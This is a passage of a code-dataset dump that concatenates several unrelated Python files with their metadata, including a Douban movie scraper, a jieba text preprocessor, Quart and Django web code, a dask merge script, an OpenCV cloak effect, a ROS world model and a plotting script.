{"api_name": "os.path.splitext", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path", "line_number": 10, "usage_type": "attribute"}, {"api_name": "os.system", "line_number": 12, "usage_type": "call"}, {"api_name": "helpers.db_helpers.selectEvents", "line_number": 14, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 24, "usage_type": "call"}, {"api_name": "requests.exceptions", "line_number": 25, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 27, "usage_type": "call"}, {"api_name": "pyquery.PyQuery", "line_number": 31, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 34, "usage_type": "call"}]} +{"seq_id": "538110842", "text": "#!/usr/bin/python\n# -*- coding: utf-8 -*-\nimport requests\nimport json\nfrom pyquery import PyQuery as pq\nimport csv\nimport re\nimport time\nimport random\nimport ipProxy\n\n\nclass Movie(object):\n def __init__(self, url, filepath):\n self.url = url\n self.filePath = filepath\n try:\n resp = requests.get(url, proxies=ipProxy.proxies)\n print(resp.status_code)\n p = pq(resp.text)\n # p = pq(url=url)\n except BaseException as ex:\n print(ex)\n print('休息2s直接继续了')\n time.sleep(2)\n p = pq(requests.get(url, proxies=ipProxy.proxies).text)\n # print(\"是否继续？（Y继续/N跳过）\")\n # key = input()\n # if key == \"Y\":\n # print(\"继续\")\n # p = pq(requests.get(url, proxies=ipProxy.proxies).text)\n # else:\n # return\n movieName = p(\"span[property='v:itemreviewed']\").text() # 电影名字\n year = p(\".year\").text() # 年\n directedBy = p(\"#info .attrs a[rel='v:directedBy']\").text() # 导演\n bianju = p(\"#info .attrs\").eq(1).text() # 编剧k'h'h'h'h'f\n actors = p(\"#info .actor a[rel='v:starring']\").text()\n genre = p(\"#info span[property='v:genre']\").text() # 类型\n str = p(\"#info\").text()\n try:\n area = re.findall(r'制片国家/地区:(.+)\\s+语言:', str)[0] # 制片国家/地区\n except:\n area = ''\n initialReleaseDate = p(\"span[property='v:initialReleaseDate']\").text() # 上映日期\n runtime = p(\"span[property='v:runtime']\").text() # 片长\n link = p(\"#info a[rel='nofollow']\").text() # IMDb链接\n summary = p(\"span[property='v:summary']\").text() # 剧情简介\n movieDetail = (\n url, movieName, year, directedBy, bianju, actors, genre, area, initialReleaseDate, runtime, link, summary)\n\n #\n try:\n csvfile = open(filepath, 'a', newline='')\n writer = csv.writer(csvfile)\n data = movieDetail\n writer.writerow(data)\n csvfile.close()\n print(\"insert success ；\" + \"电影：%s(%s)；上映日期：%s；导演：%s;编剧：%s;演员：%s;类型:%s；片长：%s；链接：%s;剧情简介:%s\" % (\n movieName, year, initialReleaseDate, directedBy, bianju, actors, genre, runtime, link, summary))\n\n # time.sleep(random.random() * 8 * random.random())\n\n except BaseException as ex:\n print(\"编码问题fail：\" + movieDetail.__str__())\n print(\"原因：\" + ex.__str__())\n errordata = (url,)\n\n # 先检查文件中已经存在的电影\n with open('ErrorMovies.csv') as csvfile1:\n reader = csv.DictReader(csvfile1)\n existMovieList = []\n for row in reader:\n existMovieList.append(row['url'])\n if url in existMovieList:\n return\n else:\n csvfilerrror = open('ErrorMovies.csv', 'a', newline='')\n writererror = csv.writer(csvfilerrror)\n dataError = errordata\n writererror.writerow(dataError)\n csvfilerrror.close()\n print(\"Error Ok!\")\n print('----->')\n", "sub_path": "DouBanMovies/MainPage.py", "file_name": "MainPage.py", "file_ext": "py", "file_size_in_byte": 3398, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "requests.get", "line_number": 18, "usage_type": "call"}, {"api_name": "ipProxy.proxies", "line_number": 18, "usage_type": "attribute"}, {"api_name": "pyquery.PyQuery", "line_number": 20, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 25, "usage_type": "call"}, {"api_name": "pyquery.PyQuery", "line_number": 26, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 26, "usage_type": "call"}, {"api_name": "ipProxy.proxies", "line_number": 26, "usage_type": "attribute"}, {"api_name": "re.findall", "line_number": 42, "usage_type": "call"}, {"api_name": "csv.writer", "line_number": 55, "usage_type": "call"}, {"api_name": "csv.DictReader", "line_number": 71, "usage_type": "call"}, {"api_name": "csv.writer", "line_number": 79, "usage_type": "call"}]} +{"seq_id": "577875824", "text": "# coding=utf-8\nimport HTMLParser\n\nimport jieba\n\n\ndef read_data():\n \"\"\"\n 对要训练的文本进行处理，最后把文本的内容的所有词放在一个列表中\n \"\"\"\n # 读取停用词\n stop_words = []\n with open('stop_words.txt', \"r\") as f:\n ls = f.readline()\n while ls:\n stop_words.append(ls[:-1])\n ls = f.readline()\n stop_words = set(stop_words)\n print('停用词读取完毕，共{n}个词'.format(n=len(stop_words)))\n\n # 读取文本，预处理，分词，得到词典\n raw_word_list = []\n with open('17-11-2.csv', \"r\") as f:\n line = f.readline()\n while line:\n html_parser = HTMLParser.HTMLParser()\n split = line.strip().split(\",\")\n if len(split) == 1:\n continue\n line = html_parser.unescape(split[1].replace(\" \", \"\").decode(\"utf8\"))\n if len(line) > 0: # 如果句子非空\n print(line)\n raw_words = []\n for l in list(jieba.cut(line, cut_all=False)):\n if l not in stop_words:\n raw_words.append(l)\n raw_word_list.extend(raw_words)\n line = f.readline()\n\n return raw_word_list # step 1:读取文件中的内容组成一个列表\nwords = read_data()\nprint('Data size', len(words))\nwith open(\"text8\", \"w\") as wf:\n for w in words:\n wf.write(w.encode(\"utf8\") + \" \")", "sub_path": "util/red.py", "file_name": "red.py", "file_ext": "py", "file_size_in_byte": 1450, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "HTMLParser.HTMLParser", "line_number": 26, "usage_type": "call"}, {"api_name": "jieba.cut", "line_number": 34, "usage_type": "call"}]} +{"seq_id": "71529512", "text": "import os\nimport random\nimport asyncio\nimport json\nfrom quart import Quart, jsonify, render_template\nfrom quart_cors import cors\n\ndir_path = os.path.dirname(os.path.realpath(__file__))\n\n\ndef fileresponse(path):\n f = os.path.join(dir_path, path)\n if os.path.isfile(f + '.json'):\n with open(f + '.json', 'r') as file:\n return (file.read(), 200)\n\n return ('', 404)\n\n\nclass ServerSentEvent:\n def __init__(\n self,\n data: str,\n event: str\n ) -> None:\n self.data = data\n self.event = event\n\n def encode(self) -> bytes:\n message = f\"data: {json.dumps(self.data)}\"\n if self.event is not None:\n message = f\"{message}\\nevent: {self.event}\"\n message = f\"{message}\\r\\n\\r\\n\"\n return message.encode('utf-8')\n\n\napi_prefix = '/api/v1'\n\napp = Quart(__name__)\napp = cors(app)\n\n\n@app.route(api_prefix + '/eventSource')\nasync def sse():\n async def send_events():\n data = [\n {\n \"id\": 0,\n \"health\": \"CRITICAL\"\n },\n {\n \"id\": 0,\n \"health\": 'WARNING'\n },\n {\n \"id\": 0,\n \"health\": 'OPERATIONAL'\n },\n {\n \"id\": 0,\n \"health\": 'ERROR'\n }\n ]\n\n while True:\n await asyncio.sleep(2)\n random.shuffle(data)\n event = ServerSentEvent(data=data[0], event='NODE_STATUS')\n yield event.encode()\n\n return send_events(), {\n 'Content-Type': 'text/event-stream',\n 'Cache-Control': 'no-cache',\n 'Transfer-Encoding': 'chunked',\n }\n\n\n# Sink all undeclared routes so that vue can work with router properly\n@app.route('/')\ndef serve_mocks(path: str) -> str:\n x = fileresponse(path)\n return x\n\nif __name__ == \"__main__\":\n app.run(port=5000)\n", "sub_path": "src/yukon/backend/src/devserv/mock_responses.py", "file_name": "mock_responses.py", "file_ext": "py", "file_size_in_byte": 1932, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "os.path.dirname", "line_number": 8, "usage_type": "call"}, {"api_name": "os.path", "line_number": 8, "usage_type": "attribute"}, {"api_name": "os.path.realpath", "line_number": 8, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 12, "usage_type": "call"}, {"api_name": "os.path", "line_number": 12, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path", "line_number": 13, "usage_type": "attribute"}, {"api_name": "json.dumps", "line_number": 30, "usage_type": "call"}, {"api_name": "quart.Quart", "line_number": 39, "usage_type": "call"}, {"api_name": "quart_cors.cors", "line_number": 40, "usage_type": "call"}, {"api_name": "asyncio.sleep", "line_number": 66, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 67, "usage_type": "call"}]} +{"seq_id": "484375501", "text": "from django.shortcuts import render, get_object_or_404, redirect\nfrom django.core.checks import messages\nfrom django.contrib import messages\nfrom django.urls import reverse\nfrom django.db.models import Q\nfrom .forms import ResourceForm\nfrom django.http import HttpResponse, HttpResponseRedirect, HttpResponseForbidden\nfrom journal.models import Resource\n\n\ndef view_resources(request):\n query = request.GET.get(\"q\") # search function\n\n if query:\n list_resources = Resource.objects.filter(\n Q(name_text__icontains=query) |\n Q(language__icontains=query) |\n Q(framework__icontains=query) |\n Q(notes__icontains=query) |\n Q(link__icontains=query)\n ).distinct()\n\n else:\n list_resources = Resource.objects.all().order_by('-post_date') # else display all of the list...\n\n template = 'journal/view_resources.html'\n context = {'list_resources': list_resources}\n return render(request, template, context)\n\n\ndef detail_resources(request, resource_id):\n resource = get_object_or_404(Resource, pk=resource_id)\n template = 'journal/detail_resources.html'\n context = {'resource': resource}\n return render(request, template, context)\n\n\ndef create_new_resource(request):\n template = 'journal/create_new_resource.html'\n\n if request.method == \"POST\":\n form = ResourceForm(request.POST, request.FILES) # request.POST is the data that was sent when the form was submitted\n\n try:\n if form.is_valid():\n form.save()\n messages.info(request, 'Resource was saved')\n\n except Exception as e:\n messages.info(request, 'Your post was not saved due to an error:'.format(e))\n\n else:\n form = ResourceForm()\n\n context = {'form': form}\n\n return render(request, template, context)\n\n\ndef edit_resource(request, resource_id):\n template = 'journal/create_new_resource.html'\n resource = get_object_or_404(Resource, pk=resource_id)\n\n if request.method == \"POST\":\n form = ResourceForm(request.POST, request.FILES, instance=resource)\n\n try:\n if form.is_valid():\n form.save()\n # return HttpResponseRedirect(reverse('journal:view_resources'))\n messages.info(request, 'Updated')\n\n except Exception as e:\n messages.info(request, 'Your post was not saved due to an error:'.format(e))\n\n else:\n form = ResourceForm(instance=resource)\n\n context = {\n 'form': form,\n 'resource': resource,\n }\n\n return render(request, template, context)\n\n\ndef delete_resource(request, resource_id):\n template = 'journal/delete_resource.html'\n resource = get_object_or_404(Resource, pk=resource_id)\n\n try:\n if request.method == \"POST\":\n form = ResourceForm(request.POST, instance=resource)\n resource.delete()\n return redirect('../../')\n else:\n form = ResourceForm(instance=resource)\n\n except Exception as e:\n messages.warning(request, 'The post could not be deleted: Error {}'.format(e))\n\n context = {\n 'resource': resource,\n 'form': form,\n }\n\n return render(request, template, context)\n\n# def create_new_resource(request):\n# template = 'journal/create_new_resource.html'\n# form = ResourceForm(request.POST, request.FILES)\n#\n# if form.is_valid():\n# form.save()\n# messages.info(request, 'Resource was saved')\n# else:\n# form = ResourceForm()\n#\n# context = {'form': form}\n# return render(request, template, context)\n\n\n# def create_new_resource(request):\n# template = 'journal/create_new_resource.html'\n#\n# if request.method == \"POST\":\n# form = ResourceForm(request.POST, request.FILES)\n#\n# try:\n# if form.is_valid():\n# form.save()\n# messages.info(request, 'Resource was saved')\n#\n# except Exception as e:\n# messages.info(request, 'Your post was not saved due to an error:'.format(e))\n#\n# else:\n# form = ResourceForm()\n#\n# context = {'form': form}\n#\n# return render(request, template, context)", "sub_path": "journal/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 4208, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "journal.models.Resource.objects.filter", "line_number": 15, "usage_type": "call"}, {"api_name": "journal.models.Resource.objects", "line_number": 15, "usage_type": "attribute"}, {"api_name": "journal.models.Resource", "line_number": 15, "usage_type": "name"}, {"api_name": "django.db.models.Q", "line_number": 16, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 17, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 18, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 19, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 20, "usage_type": "call"}, {"api_name": "journal.models.Resource.objects.all", "line_number": 24, "usage_type": "call"}, {"api_name": "journal.models.Resource.objects", "line_number": 24, "usage_type": "attribute"}, {"api_name": "journal.models.Resource", "line_number": 24, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 28, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 32, "usage_type": "call"}, {"api_name": "journal.models.Resource", "line_number": 32, "usage_type": "argument"}, {"api_name": "django.shortcuts.render", "line_number": 35, "usage_type": "call"}, {"api_name": "forms.ResourceForm", "line_number": 42, "usage_type": "call"}, {"api_name": "django.contrib.messages.info", "line_number": 47, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 47, "usage_type": "name"}, {"api_name": "django.contrib.messages.info", "line_number": 50, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 50, "usage_type": "name"}, {"api_name": "forms.ResourceForm", "line_number": 53, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 57, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 62, "usage_type": "call"}, {"api_name": "journal.models.Resource", "line_number": 62, "usage_type": "argument"}, {"api_name": "forms.ResourceForm", "line_number": 65, "usage_type": "call"}, {"api_name": "django.contrib.messages.info", "line_number": 71, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 71, "usage_type": "name"}, {"api_name": "django.contrib.messages.info", "line_number": 74, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 74, "usage_type": "name"}, {"api_name": "forms.ResourceForm", "line_number": 77, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 84, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 89, "usage_type": "call"}, {"api_name": "journal.models.Resource", "line_number": 89, "usage_type": "argument"}, {"api_name": "forms.ResourceForm", "line_number": 93, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 95, "usage_type": "call"}, {"api_name": "forms.ResourceForm", "line_number": 97, "usage_type": "call"}, {"api_name": "django.contrib.messages.warning", "line_number": 100, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 100, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 107, "usage_type": "call"}]} +{"seq_id": "600974413", "text": "\"\"\"\nThis script used `dask` to join the medline details especially the year, month columns\nwith the mapaffil data.\n\"\"\"\nfrom dask.diagnostics import ProgressBar\nfrom dask import dataframe as df\nfrom src.utils import get_logger, concat_csvs\nfrom glob import glob\nfrom os import path\nimport os\n\n\nlogger = get_logger(__file__, snakemake.log[0])\n\ntmp_dir = snakemake.config.dirs.tmp\nif not path.exists(tmp_dir):\n os.mkdir(tmp_dir)\ntemp_csv = path.join(tmp_dir, 'mapaffil_medline.part.*.csv')\n\np_bar = ProgressBar() # progressbar\np_bar.register()\n\nmedline_path = snakemake.input.medline\nmedline_df = df.read_csv(medline_path, low_memory=False, blocksize=6.4e8)\n\nmapaffil_path = snakemake.input.mapaffil\nmapaffil_df = df.read_csv(mapaffil_path, low_memory=False)\n\n\ndates = medline_df[['pmid', 'year', 'month']] # take only the parts that we need\n\nlogger.info(f\"starting merging of '{medline_path}' and '{mapaffil_path}'\")\nmerged = df.merge(mapaffil_df, dates,\n left_on='PMID',\n right_on='pmid',\n suffixes=('_ma', '')\n )\nmerged.to_csv(temp_csv, index=False)\nlogger.info(f\"finished merging '{medline_path}' with '{mapaffil_path}' in parts.\")\n\nlogger.info(f\"starting to concatenate the merged parts\")\ncsv_parts = glob(temp_csv)\nconcat_csvs(csv_parts, snakemake.output[0])\nlogger.info(f\"written final concatenated csv file.\")\nfor file in csv_parts:\n os.remove(file)\nlogger.info(f\"cleaned up csv fragments.\")\n", "sub_path": "src/rules/add_month_to_mapaffil.py", "file_name": "add_month_to_mapaffil.py", "file_ext": "py", "file_size_in_byte": 1473, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "src.utils.get_logger", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path", "line_number": 16, "usage_type": "name"}, {"api_name": "os.mkdir", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 18, "usage_type": "call"}, {"api_name": "os.path", "line_number": 18, "usage_type": "name"}, {"api_name": "dask.diagnostics.ProgressBar", "line_number": 20, "usage_type": "call"}, {"api_name": "dask.dataframe.read_csv", "line_number": 24, "usage_type": "call"}, {"api_name": "dask.dataframe", "line_number": 24, "usage_type": "name"}, {"api_name": "dask.dataframe.read_csv", "line_number": 27, "usage_type": "call"}, {"api_name": "dask.dataframe", "line_number": 27, "usage_type": "name"}, {"api_name": "dask.dataframe.merge", "line_number": 33, "usage_type": "call"}, {"api_name": "dask.dataframe", "line_number": 33, "usage_type": "name"}, {"api_name": "glob.glob", "line_number": 42, "usage_type": "call"}, {"api_name": "src.utils.concat_csvs", "line_number": 43, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 46, "usage_type": "call"}]} +{"seq_id": "463740568", "text": "import cv2\nimport numpy as np\nimport time\n\ncapture_video = cv2.VideoCapture(0) \t# Input Video using Webcam 0\n\n\ntime.sleep(1)\ncount = 0\nbackground = 0\n\nfor i in range(60):\t\t\t\t\t\t# Giving time for camera to open and take a snap of view to use as a background\n\treturn_val, background = capture_video.read()\n\tif return_val == False :\n\t\tcontinue\n\nbackground = np.flip(background, axis = 1) # flipping the frame to its mirror image\n\n\nwhile (capture_video.isOpened()):\n\treturn_val, img = capture_video.read()\n\tif not return_val :\n\t\tbreak\n\tcount = count + 1\n\timg = np.flip(img, axis = 1)\n\n\thsv = cv2.cvtColor(img, cv2.COLOR_BGR2HSV)\t\t# Converting image to HSV\n\n\n\tlower_red = np.array([100, 40, 40])\t\n\tupper_red = np.array([100, 255, 255])\n\tmask1 = cv2.inRange(hsv, lower_red, upper_red)\t# setting the upper and lower ranges for mask1\n\n\tlower_red = np.array([155, 40, 40])\n\tupper_red = np.array([180, 255, 255])\n\tmask2 = cv2.inRange(hsv, lower_red, upper_red)\t# setting the upper and lower ranges for mask1\n\n\tmask1 = mask1 + mask2\t\t# Now all mask data is in mask 1\n\n\t# Refining the mask corresponding to the detected red color\n\tmask1 = cv2.morphologyEx(mask1, cv2.MORPH_OPEN, np.ones((3, 3),\n\t\t\t\t\t\t\t\t\t\tnp.uint8), iterations = 2)\n\tmask1 = cv2.dilate(mask1, np.ones((3, 3), np.uint8), iterations = 1)\n\tmask2 = cv2.bitwise_not(mask1)\n\n\t# Final Output\n\tres1 = cv2.bitwise_and(background, background, mask = mask1)\n\tres2 = cv2.bitwise_and(img, img, mask = mask2)\n\tfinal_output = cv2.addWeighted(res1, 1, res2, 1, 0)\n\n\tcv2.imshow(\"INVISIBLE MAN\", final_output)\n\tk = cv2.waitKey(10)\n\tif k == 27:\n\t\tbreak\n", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 1587, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "cv2.VideoCapture", "line_number": 5, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 8, "usage_type": "call"}, {"api_name": "numpy.flip", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.flip", "line_number": 25, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 27, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2HSV", "line_number": 27, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 31, "usage_type": "call"}, {"api_name": "cv2.inRange", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 34, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 35, "usage_type": "call"}, {"api_name": "cv2.inRange", "line_number": 36, "usage_type": "call"}, {"api_name": "cv2.morphologyEx", "line_number": 41, "usage_type": "call"}, {"api_name": "cv2.MORPH_OPEN", "line_number": 41, "usage_type": "attribute"}, {"api_name": "numpy.ones", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 42, "usage_type": "attribute"}, {"api_name": "cv2.dilate", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 43, "usage_type": "attribute"}, {"api_name": "cv2.bitwise_not", "line_number": 44, "usage_type": "call"}, {"api_name": "cv2.bitwise_and", "line_number": 47, "usage_type": "call"}, {"api_name": "cv2.bitwise_and", "line_number": 48, "usage_type": "call"}, {"api_name": "cv2.addWeighted", "line_number": 49, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 51, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 52, "usage_type": "call"}]} +{"seq_id": "401608604", "text": "import rospy\nfrom hri_msgs.msg import EntityMsg, EntityListMsg\nimport threading\nfrom hri_api.entities import Entity\nfrom hri_api.query import Query\nfrom hri_api.util import Singleton, InitNode\nfrom hri_msgs.srv import TfFrame, TfFrameResponse, IfQueryableExecute, IfQueryableExecuteResponse, AddEntity, AddEntityResponse, SetVisibility, SetVisibilityResponse\nfrom std_srvs.srv import Empty\nimport importlib\n\n\nclass World():\n \"\"\"The World class provides access to the entities perceived by the robots perception system. The World class\n is iterable, meaning that it can be iterated over just as a list or array can.\n\n Vendor specific perception algorithms communicate with the World instance via the APIs perception interface,\n composed of a the perception synthesiser node and the ROS tf library. The perception synthesiser tells the World\n when to create objects to represent perceived entities and the ROS tf library manages object coordinates.\n\n .. note::\n The World class uses the singleton design pattern. Once the World class has been instantiated, a reference\n to this instance will be returned if the constructor is called again: http://en.wikipedia.org/wiki/Singleton_pattern\n\n \"\"\"\n\n __metaclass__ = Singleton\n\n def __init__(self):\n\n InitNode()\n self.tf_frame_service = rospy.Service('tf_frame_service', TfFrame, self.__tf_frame_service_callback)\n self.if_queryable_execute_service = rospy.Service('if_queryable_execute', IfQueryableExecute, self.__if_queryable_execute_callback)\n self.add_entity_srv = rospy.Service('add_entity', AddEntity, self.__add_entity_callback)\n self.set_visibility_srv = rospy.Service('set_visibility', SetVisibility, self.__set_visibility_callback)\n self.enable_perception_srv = rospy.ServiceProxy('perception_synthesiser/enable', Empty)\n self.disable_perception_srv = rospy.ServiceProxy('perception_synthesiser/disable', Empty)\n\n self.enable_perception_srv.wait_for_service()\n self.disable_perception_srv.wait_for_service()\n\n self.entity_lock = threading.RLock()\n self.entities = []\n self.global_id_lookup = {}\n\n rospy.on_shutdown(self.__shutdown)\n self.enable_perception_srv()\n\n def __iter__(self):\n return iter(self.entities)\n\n @staticmethod\n def to_entity_list_msg(entities):\n entity_list_msg = EntityListMsg()\n\n for entity in entities:\n entity_msg = EntityMsg()\n entity_msg.entity_id = entity.global_id()\n entity_list_msg.entities.append(entity_msg)\n\n return entity_list_msg\n\n def __shutdown(self):\n self.disable_perception_srv()\n\n def __add_entity_callback(self, req):\n with self.entity_lock:\n module = importlib.import_module(req.entity_module)\n entity_cls = getattr(module, req.entity_class)\n entity = entity_cls.make(req.local_id)\n\n self.add_to_world(entity)\n resp = AddEntityResponse()\n resp.global_id = entity.global_id()\n rospy.loginfo('added entity {0} to World'.format(entity))\n return AddEntityResponse(resp.global_id)\n\n def __set_visibility_callback(self, req):\n with self.entity_lock:\n entity = self.entity_from_global_id(req.global_id)\n entity.set_visible(req.is_visible)\n return SetVisibilityResponse()\n\n def add_to_world(self, entity):\n ParamAssertions.assert_types(self.add_to_world, entity, Entity, Query)\n\n global_id = entity.global_id()\n\n if isinstance(entity, Entity):\n if global_id not in self.global_id_lookup:\n self.global_id_lookup[global_id] = entity\n self.entities.append(entity)\n rospy.logdebug(\"Added entity with global_id: %s\", global_id)\n elif isinstance(entity, Query):\n if global_id not in self.global_id_lookup:\n self.global_id_lookup[global_id] = entity\n rospy.logdebug(\"Added query with global_id: %s\", global_id)\n\n def entity_from_global_id(self, global_id):\n ParamAssertions.assert_types(self.entity_from_global_id, global_id, str)\n\n if global_id in self.global_id_lookup:\n return self.global_id_lookup[global_id]\n else:\n raise IndexError(\"World.{0}() parameter global_id={1} is not in self.global_id_lookup\".format(self.entity_from_global_id.__name__, global_id))\n\n def __tf_frame_service_callback(self, req):\n entity = self.entity_from_global_id(req.entity_id)\n tf_frame = entity.global_frame_id()\n return TfFrameResponse(tf_frame)\n\n def __if_queryable_execute_callback(self, req):\n entity = self.entity_from_global_id(req.entity_id)\n response = IfQueryableExecuteResponse()\n\n if isinstance(entity, Query):\n response.is_queryable = True\n entities = entity.execute()\n response.entities = World.to_entity_list_msg(entities)\n else:\n response.is_queryable = False\n\n return response\n", "sub_path": "hri_api/src/hri_api/entities/world.py", "file_name": "world.py", "file_ext": "py", "file_size_in_byte": 5094, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "hri_api.util.Singleton", "line_number": 26, "usage_type": "name"}, {"api_name": "hri_api.util.InitNode", "line_number": 30, "usage_type": "call"}, {"api_name": "rospy.Service", "line_number": 31, "usage_type": "call"}, {"api_name": "hri_msgs.srv.TfFrame", "line_number": 31, "usage_type": "argument"}, {"api_name": "rospy.Service", "line_number": 32, "usage_type": "call"}, {"api_name": "hri_msgs.srv.IfQueryableExecute", "line_number": 32, "usage_type": "argument"}, {"api_name": "rospy.Service", "line_number": 33, "usage_type": "call"}, {"api_name": "hri_msgs.srv.AddEntity", "line_number": 33, "usage_type": "argument"}, {"api_name": "rospy.Service", "line_number": 34, "usage_type": "call"}, {"api_name": "hri_msgs.srv.SetVisibility", "line_number": 34, "usage_type": "argument"}, {"api_name": "rospy.ServiceProxy", "line_number": 35, "usage_type": "call"}, {"api_name": "std_srvs.srv.Empty", "line_number": 35, "usage_type": "argument"}, {"api_name": "rospy.ServiceProxy", "line_number": 36, "usage_type": "call"}, {"api_name": "std_srvs.srv.Empty", "line_number": 36, "usage_type": "argument"}, {"api_name": "threading.RLock", "line_number": 41, "usage_type": "call"}, {"api_name": "rospy.on_shutdown", "line_number": 45, "usage_type": "call"}, {"api_name": "hri_msgs.msg.EntityListMsg", "line_number": 53, "usage_type": "call"}, {"api_name": "hri_msgs.msg.EntityMsg", "line_number": 56, "usage_type": "call"}, {"api_name": "importlib.import_module", "line_number": 67, "usage_type": "call"}, {"api_name": "hri_msgs.srv.AddEntityResponse", "line_number": 72, "usage_type": "call"}, {"api_name": "rospy.loginfo", "line_number": 74, "usage_type": "call"}, {"api_name": "hri_msgs.srv.AddEntityResponse", "line_number": 75, "usage_type": "call"}, {"api_name": "hri_msgs.srv.SetVisibilityResponse", "line_number": 81, "usage_type": "call"}, {"api_name": "hri_api.entities.Entity", "line_number": 84, "usage_type": "argument"}, {"api_name": "hri_api.query.Query", "line_number": 84, "usage_type": "argument"}, {"api_name": "hri_api.entities.Entity", "line_number": 88, "usage_type": "argument"}, {"api_name": "rospy.logdebug", "line_number": 92, "usage_type": "call"}, {"api_name": "hri_api.query.Query", "line_number": 93, "usage_type": "argument"}, {"api_name": "rospy.logdebug", "line_number": 96, "usage_type": "call"}, {"api_name": "hri_msgs.srv.TfFrameResponse", "line_number": 109, "usage_type": "call"}, {"api_name": "hri_msgs.srv.IfQueryableExecuteResponse", "line_number": 113, "usage_type": "call"}, {"api_name": "hri_api.query.Query", "line_number": 115, "usage_type": "argument"}]} +{"seq_id": "621304584", "text": "# NOTE: This script plots the average operations across all iterations of CEM\n# for the standard, BnB, and Super approaches.\n\nimport json\nimport sys\nimport os\nimport numpy as np\n\nimport pdb\n\nimport matplotlib\nmatplotlib.use('TkAgg')\nimport matplotlib.pyplot as plt\nimport matplotlib.patches as mpatches\n\nimport seaborn as sns\nsns.set()\n\nsns.set_style(\"ticks\")\nsns.set_style({\"xtick.direction\": \"in\"})\n\nfrom plot_ASA_bars import get_conf_interval\n\n\n# Helper that extracts the average operations/time for the opt_type and kind\n# of operation specified.\n# NOTE: Unlike ASA, we assume that there are a set amount of iterations that\n# are guaranteed to happen.\ndef extract_core_profile_data(json_struct, cur_opt_type, cur_operation):\n # Extract the random seeds used.\n random_seeds = [i for i in json_struct.keys() if i.isdigit()]\n random_seeds.sort()\n\n # NOTE: Check that we got all the seeds.\n if len(random_seeds) != 20:\n print(\"NOT 20 SEEDS!\")\n pdb.set_trace()\n\n all_operation_times = []\n for cur_seed in random_seeds:\n cur_seed_data = json_struct[cur_seed]\n all_operation_times.append(cur_seed_data[cur_opt_type][cur_operation])\n\n all_operation_times = np.array(all_operation_times)\n average_operation_times = np.mean(all_operation_times, axis=0)\n\n iteration_indices = np.array([i for i in range(len(average_operation_times))])\n operation_time_error_bars = []\n\n for cur_iteration_index in iteration_indices:\n iteration_times = all_operation_times[:,cur_iteration_index]\n\n cur_avg_val = average_operation_times[cur_iteration_index]\n cur_error_bar = get_conf_interval(cur_avg_val, iteration_times)\n\n operation_time_error_bars.append(cur_error_bar)\n\n operation_time_error_bars = np.array(operation_time_error_bars)\n\n return average_operation_times, operation_time_error_bars\n\n\n# Core method to plot average operations (edge evals or node expansions).\ndef plot_core_operations(json_struct, opt_type_keys, opt_type_colors, cur_operation, plot_filename_prefix):\n # Latex.\n plt.rc('text', usetex=True)\n plt.rc('font', family='serif')\n plt.rcParams['text.latex.unicode']=True\n\n # We're going to plot all opt_types on one plot, so go through each.\n for opt_type_index in range(len(opt_type_keys)):\n\n cur_opt_type = 